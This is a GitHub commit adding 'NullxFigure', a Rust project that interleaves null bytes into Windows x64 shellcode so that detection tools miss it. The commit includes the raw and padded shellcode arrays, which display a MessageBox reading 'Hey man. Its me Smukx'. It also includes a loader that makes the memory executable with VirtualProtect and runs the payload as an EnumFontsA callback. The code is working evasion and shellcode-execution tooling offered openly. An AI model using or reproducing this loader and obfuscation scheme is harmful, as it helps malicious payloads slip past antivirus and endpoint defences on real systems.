Skip to content

Commit 77f324b

Browse files
committed
NullxFigure
Sample Experiment to parse null bytes into each shellcode areas using hashmap to avoid shellcode detection.
1 parent 30bd120 commit 77f324b

File tree

8 files changed

+288
-0
lines changed

8 files changed

+288
-0
lines changed
Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,8 @@
1+
2+
## Nullxfigure
3+
4+
Simple Program to parse null bytes into each shellcode using hashmap to avoid shellcode detection.
5+
6+
Still in development but it can be improved a lot !
7+
8+
Author [@5mukx](https://x.com/5mukx)
Lines changed: 9 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,9 @@
1+
[package]
2+
name = "tester"
3+
version = "0.1.0"
4+
edition = "2021"
5+
6+
[dependencies]
7+
winapi = { version = "0.3.9", features = ["winuser","setupapi","dbghelp","wlanapi","winnls","wincon","fileapi","sysinfoapi", "fibersapi","debugapi","winerror", "wininet" , "winhttp" ,"synchapi","securitybaseapi","wincrypt","psapi", "tlhelp32", "heapapi","shellapi", "memoryapi", "processthreadsapi", "errhandlingapi", "winbase", "handleapi", "synchapi"] }
8+
ntapi = "0.4.1"
9+
# user32-sys = "0.2.0"
Lines changed: 14 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,14 @@
1+
use std::collections::HashMap;
2+
3+
pub fn decrypt_shellcode(encrypted_shellcode: &[u8]) -> Vec<u8> {
4+
encrypted_shellcode
5+
.iter()
6+
.enumerate()
7+
.filter(|(i, _)| i % 2 == 0) // Take every second byte (original bytes)
8+
.map(|(_, &byte)| byte)
9+
.collect()
10+
}
11+
12+
pub fn get_original_shellcode(map: &HashMap<String, Vec<u8>>, key: &str) -> Option<Vec<u8>> {
13+
map.get(key).cloned()
14+
}
Lines changed: 18 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,18 @@
1+
use std::collections::HashMap;
2+
3+
pub fn encrypt_shellcode(shellcode: &[u8], false_byte: u8) -> Vec<u8>{
4+
let mut encrypted_shellcode= Vec::with_capacity(shellcode.len() * 2);
5+
6+
for &byte in shellcode{
7+
encrypted_shellcode.push(byte);
8+
encrypted_shellcode.push(false_byte);
9+
}
10+
11+
encrypted_shellcode
12+
}
13+
14+
15+
pub fn store_shellcode(map: &mut HashMap<String, Vec<u8>>, key: &str, shellcode: &[u8]){
16+
map.insert(key.to_string(), shellcode.to_vec());
17+
}
18+
Lines changed: 85 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,85 @@
1+
mod encrypt;
2+
mod decrypt;
3+
4+
use std::collections::HashMap;
5+
6+
fn main() {
7+
// Example shellcode
8+
let shellcode = [
9+
0xfc,0x48,0x81,0xe4,0xf0,0xff,0xff,
10+
0xff,0xe8,0xd0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,
11+
0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x3e,0x48,0x8b,
12+
0x52,0x18,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x48,0x8b,0x72,0x50,
13+
0x3e,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,
14+
0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
15+
0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x3e,0x48,0x8b,0x52,0x20,
16+
0x3e,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x3e,0x8b,0x80,0x88,0x00,
17+
0x00,0x00,0x48,0x85,0xc0,0x74,0x6f,0x48,0x01,0xd0,0x50,0x3e,
18+
0x8b,0x48,0x18,0x3e,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,
19+
0x5c,0x48,0xff,0xc9,0x3e,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,
20+
0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,
21+
0x01,0xc1,0x38,0xe0,0x75,0xf1,0x3e,0x4c,0x03,0x4c,0x24,0x08,
22+
0x45,0x39,0xd1,0x75,0xd6,0x58,0x3e,0x44,0x8b,0x40,0x24,0x49,
23+
0x01,0xd0,0x66,0x3e,0x41,0x8b,0x0c,0x48,0x3e,0x44,0x8b,0x40,
24+
0x1c,0x49,0x01,0xd0,0x3e,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,
25+
0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,
26+
0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,
27+
0x5a,0x3e,0x48,0x8b,0x12,0xe9,0x49,0xff,0xff,0xff,0x5d,0x3e,
28+
0x48,0x8d,0x8d,0x30,0x01,0x00,0x00,0x41,0xba,0x4c,0x77,0x26,
29+
0x07,0xff,0xd5,0x49,0xc7,0xc1,0x00,0x00,0x00,0x00,0x3e,0x48,
30+
0x8d,0x95,0x0e,0x01,0x00,0x00,0x3e,0x4c,0x8d,0x85,0x24,0x01,
31+
0x00,0x00,0x48,0x31,0xc9,0x41,0xba,0x45,0x83,0x56,0x07,0xff,
32+
0xd5,0x48,0x31,0xc9,0x41,0xba,0xf0,0xb5,0xa2,0x56,0xff,0xd5,
33+
0x48,0x65,0x79,0x20,0x6d,0x61,0x6e,0x2e,0x20,0x49,0x74,0x73,
34+
0x20,0x6d,0x65,0x20,0x53,0x6d,0x75,0x6b,0x78,0x00,0x6b,0x6e,
35+
0x6f,0x63,0x6b,0x2d,0x6b,0x6e,0x6f,0x63,0x6b,0x00,0x75,0x73,
36+
0x65,0x72,0x33,0x32,0x2e,0x64,0x6c,0x6c,0x00
37+
];
38+
39+
40+
let false_byte = 0x00;
41+
let mut shellcode_map = HashMap::new();
42+
43+
let encrypted_shellcode = encrypt::encrypt_shellcode(&shellcode, false_byte);
44+
// println!("Encrypted Shellcode: {:x?}", encrypted_shellcode);
45+
46+
println!("Encrypted Shellcode: [");
47+
let mut x = 1;
48+
for byte in encrypted_shellcode.iter(){
49+
print!("0x{:x?}, ", byte);
50+
if x % 8 == 0{
51+
println!();
52+
x = 0;
53+
}
54+
x += 1;
55+
}
56+
57+
println!("]");
58+
59+
println!("\n\n");
60+
encrypt::store_shellcode(&mut shellcode_map, "example", &shellcode);
61+
62+
let decrypted_shellcode = decrypt::decrypt_shellcode(&encrypted_shellcode);
63+
// println!("Decrypted Shellcode: {:x?}", decrypted_shellcode);
64+
65+
66+
println!("Decrypted Shellcode: [");
67+
let mut x = 1;
68+
for byte in decrypted_shellcode.iter(){
69+
print!("0x{:x?}, ", byte);
70+
if x % 8 == 0{
71+
println!();
72+
x = 0;
73+
}
74+
x += 1;
75+
}
76+
77+
println!("]");
78+
println!("\n\n");
79+
80+
if let Some(original_shellcode) = decrypt::get_original_shellcode(&shellcode_map, "example") {
81+
println!("Original Shellcode: {:x?}", original_shellcode);
82+
} else {
83+
eprintln!("Original shellcode not found in map.");
84+
}
85+
}
Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,8 @@
1+
[package]
2+
name = "tester1"
3+
version = "0.1.0"
4+
edition = "2021"
5+
6+
[dependencies]
7+
winapi = { version = "0.3.9", features = ["winuser","setupapi","dbghelp","wlanapi","winnls","wincon","fileapi","sysinfoapi", "fibersapi","debugapi","winerror", "wininet" , "winhttp" ,"synchapi","securitybaseapi","wincrypt","psapi", "tlhelp32", "heapapi","shellapi", "memoryapi", "processthreadsapi", "errhandlingapi", "winbase", "handleapi", "synchapi"] }
8+
ntapi = "0.4.1"
Lines changed: 53 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,53 @@
1+
use std::ptr::null_mut;
2+
3+
use winapi::{ctypes::c_void, um::{errhandlingapi::GetLastError, memoryapi::VirtualProtect, wingdi::EnumFontsA, winuser::GetDC}};
4+
5+
6+
7+
pub fn decrypt_shellcode(encrypted_shellcode: &[u8]) -> Vec<u8> {
8+
encrypted_shellcode
9+
.iter()
10+
.enumerate()
11+
.filter(|(i, _)| i % 2 == 0) // Keep every other byte (original bytes)
12+
.map(|(_, &byte)| byte)
13+
.collect()
14+
}
15+
16+
pub fn sample_execute_shellcode(shellcode: &mut [u8]){
17+
unsafe {
18+
let mut old_protect = 0;
19+
20+
// Change memory protection to PAGE_EXECUTE_READWRITE
21+
let protect = VirtualProtect(
22+
shellcode.as_mut_ptr() as *mut c_void,
23+
shellcode.len(),
24+
0x40,
25+
&mut old_protect,
26+
);
27+
28+
if protect == 0 {
29+
eprintln!(
30+
"[-] Failed to change memory protection: {}",
31+
GetLastError()
32+
);
33+
return;
34+
}
35+
36+
println!("[+] Memory protection changed, executing shellcode...");
37+
38+
// Execute shellcode via EnumFontsA
39+
let result = EnumFontsA(
40+
GetDC(null_mut()), // Get the device context
41+
std::ptr::null(), // Font name (null to enumerate all)
42+
Some(std::mem::transmute(shellcode.as_ptr())), // Shellcode as callback
43+
0, // lParam
44+
);
45+
46+
if result == 0 {
47+
eprintln!("[-] EnumFontsA failed to execute the shellcode.");
48+
} else {
49+
println!("[+] Shellcode executed successfully.");
50+
}
51+
}
52+
53+
}
Lines changed: 93 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,93 @@
1+
pub mod decrypt;
2+
3+
fn main() {
4+
let shellcode: [u8; 656] = [
5+
0xfc, 0x0, 0x48, 0x0, 0x81, 0x0, 0xe4, 0x0,
6+
0xf0, 0x0, 0xff, 0x0, 0xff, 0x0, 0xff, 0x0,
7+
0xe8, 0x0, 0xd0, 0x0, 0x0, 0x0, 0x0, 0x0,
8+
0x0, 0x0, 0x41, 0x0, 0x51, 0x0, 0x41, 0x0,
9+
0x50, 0x0, 0x52, 0x0, 0x51, 0x0, 0x56, 0x0,
10+
0x48, 0x0, 0x31, 0x0, 0xd2, 0x0, 0x65, 0x0,
11+
0x48, 0x0, 0x8b, 0x0, 0x52, 0x0, 0x60, 0x0,
12+
0x3e, 0x0, 0x48, 0x0, 0x8b, 0x0, 0x52, 0x0,
13+
0x18, 0x0, 0x3e, 0x0, 0x48, 0x0, 0x8b, 0x0,
14+
0x52, 0x0, 0x20, 0x0, 0x3e, 0x0, 0x48, 0x0,
15+
0x8b, 0x0, 0x72, 0x0, 0x50, 0x0, 0x3e, 0x0,
16+
0x48, 0x0, 0xf, 0x0, 0xb7, 0x0, 0x4a, 0x0,
17+
0x4a, 0x0, 0x4d, 0x0, 0x31, 0x0, 0xc9, 0x0,
18+
0x48, 0x0, 0x31, 0x0, 0xc0, 0x0, 0xac, 0x0,
19+
0x3c, 0x0, 0x61, 0x0, 0x7c, 0x0, 0x2, 0x0,
20+
0x2c, 0x0, 0x20, 0x0, 0x41, 0x0, 0xc1, 0x0,
21+
0xc9, 0x0, 0xd, 0x0, 0x41, 0x0, 0x1, 0x0,
22+
0xc1, 0x0, 0xe2, 0x0, 0xed, 0x0, 0x52, 0x0,
23+
0x41, 0x0, 0x51, 0x0, 0x3e, 0x0, 0x48, 0x0,
24+
0x8b, 0x0, 0x52, 0x0, 0x20, 0x0, 0x3e, 0x0,
25+
0x8b, 0x0, 0x42, 0x0, 0x3c, 0x0, 0x48, 0x0,
26+
0x1, 0x0, 0xd0, 0x0, 0x3e, 0x0, 0x8b, 0x0,
27+
0x80, 0x0, 0x88, 0x0, 0x0, 0x0, 0x0, 0x0,
28+
0x0, 0x0, 0x48, 0x0, 0x85, 0x0, 0xc0, 0x0,
29+
0x74, 0x0, 0x6f, 0x0, 0x48, 0x0, 0x1, 0x0,
30+
0xd0, 0x0, 0x50, 0x0, 0x3e, 0x0, 0x8b, 0x0,
31+
0x48, 0x0, 0x18, 0x0, 0x3e, 0x0, 0x44, 0x0,
32+
0x8b, 0x0, 0x40, 0x0, 0x20, 0x0, 0x49, 0x0,
33+
0x1, 0x0, 0xd0, 0x0, 0xe3, 0x0, 0x5c, 0x0,
34+
0x48, 0x0, 0xff, 0x0, 0xc9, 0x0, 0x3e, 0x0,
35+
0x41, 0x0, 0x8b, 0x0, 0x34, 0x0, 0x88, 0x0,
36+
0x48, 0x0, 0x1, 0x0, 0xd6, 0x0, 0x4d, 0x0,
37+
0x31, 0x0, 0xc9, 0x0, 0x48, 0x0, 0x31, 0x0,
38+
0xc0, 0x0, 0xac, 0x0, 0x41, 0x0, 0xc1, 0x0,
39+
0xc9, 0x0, 0xd, 0x0, 0x41, 0x0, 0x1, 0x0,
40+
0xc1, 0x0, 0x38, 0x0, 0xe0, 0x0, 0x75, 0x0,
41+
0xf1, 0x0, 0x3e, 0x0, 0x4c, 0x0, 0x3, 0x0,
42+
0x4c, 0x0, 0x24, 0x0, 0x8, 0x0, 0x45, 0x0,
43+
0x39, 0x0, 0xd1, 0x0, 0x75, 0x0, 0xd6, 0x0,
44+
0x58, 0x0, 0x3e, 0x0, 0x44, 0x0, 0x8b, 0x0,
45+
0x40, 0x0, 0x24, 0x0, 0x49, 0x0, 0x1, 0x0,
46+
0xd0, 0x0, 0x66, 0x0, 0x3e, 0x0, 0x41, 0x0,
47+
0x8b, 0x0, 0xc, 0x0, 0x48, 0x0, 0x3e, 0x0,
48+
0x44, 0x0, 0x8b, 0x0, 0x40, 0x0, 0x1c, 0x0,
49+
0x49, 0x0, 0x1, 0x0, 0xd0, 0x0, 0x3e, 0x0,
50+
0x41, 0x0, 0x8b, 0x0, 0x4, 0x0, 0x88, 0x0,
51+
0x48, 0x0, 0x1, 0x0, 0xd0, 0x0, 0x41, 0x0,
52+
0x58, 0x0, 0x41, 0x0, 0x58, 0x0, 0x5e, 0x0,
53+
0x59, 0x0, 0x5a, 0x0, 0x41, 0x0, 0x58, 0x0,
54+
0x41, 0x0, 0x59, 0x0, 0x41, 0x0, 0x5a, 0x0,
55+
0x48, 0x0, 0x83, 0x0, 0xec, 0x0, 0x20, 0x0,
56+
0x41, 0x0, 0x52, 0x0, 0xff, 0x0, 0xe0, 0x0,
57+
0x58, 0x0, 0x41, 0x0, 0x59, 0x0, 0x5a, 0x0,
58+
0x3e, 0x0, 0x48, 0x0, 0x8b, 0x0, 0x12, 0x0,
59+
0xe9, 0x0, 0x49, 0x0, 0xff, 0x0, 0xff, 0x0,
60+
0xff, 0x0, 0x5d, 0x0, 0x3e, 0x0, 0x48, 0x0,
61+
0x8d, 0x0, 0x8d, 0x0, 0x30, 0x0, 0x1, 0x0,
62+
0x0, 0x0, 0x0, 0x0, 0x41, 0x0, 0xba, 0x0,
63+
0x4c, 0x0, 0x77, 0x0, 0x26, 0x0, 0x7, 0x0,
64+
0xff, 0x0, 0xd5, 0x0, 0x49, 0x0, 0xc7, 0x0,
65+
0xc1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
66+
0x0, 0x0, 0x3e, 0x0, 0x48, 0x0, 0x8d, 0x0,
67+
0x95, 0x0, 0xe, 0x0, 0x1, 0x0, 0x0, 0x0,
68+
0x0, 0x0, 0x3e, 0x0, 0x4c, 0x0, 0x8d, 0x0,
69+
0x85, 0x0, 0x24, 0x0, 0x1, 0x0, 0x0, 0x0,
70+
0x0, 0x0, 0x48, 0x0, 0x31, 0x0, 0xc9, 0x0,
71+
0x41, 0x0, 0xba, 0x0, 0x45, 0x0, 0x83, 0x0,
72+
0x56, 0x0, 0x7, 0x0, 0xff, 0x0, 0xd5, 0x0,
73+
0x48, 0x0, 0x31, 0x0, 0xc9, 0x0, 0x41, 0x0,
74+
0xba, 0x0, 0xf0, 0x0, 0xb5, 0x0, 0xa2, 0x0,
75+
0x56, 0x0, 0xff, 0x0, 0xd5, 0x0, 0x48, 0x0,
76+
0x65, 0x0, 0x79, 0x0, 0x20, 0x0, 0x6d, 0x0,
77+
0x61, 0x0, 0x6e, 0x0, 0x2e, 0x0, 0x20, 0x0,
78+
0x49, 0x0, 0x74, 0x0, 0x73, 0x0, 0x20, 0x0,
79+
0x6d, 0x0, 0x65, 0x0, 0x20, 0x0, 0x53, 0x0,
80+
0x6d, 0x0, 0x75, 0x0, 0x6b, 0x0, 0x78, 0x0,
81+
0x0, 0x0, 0x6b, 0x0, 0x6e, 0x0, 0x6f, 0x0,
82+
0x63, 0x0, 0x6b, 0x0, 0x2d, 0x0, 0x6b, 0x0,
83+
0x6e, 0x0, 0x6f, 0x0, 0x63, 0x0, 0x6b, 0x0,
84+
0x0, 0x0, 0x75, 0x0, 0x73, 0x0, 0x65, 0x0,
85+
0x72, 0x0, 0x33, 0x0, 0x32, 0x0, 0x2e, 0x0,
86+
0x64, 0x0, 0x6c, 0x0, 0x6c, 0x0, 0x0, 0x0,
87+
];
88+
89+
let mut decrypt_shellcode = decrypt::decrypt_shellcode(&shellcode);
90+
println!("Decrypted Shellcode: {:?}", decrypt_shellcode);
91+
92+
decrypt::sample_execute_shellcode(&mut decrypt_shellcode);
93+
}

0 commit comments

Comments
 (0)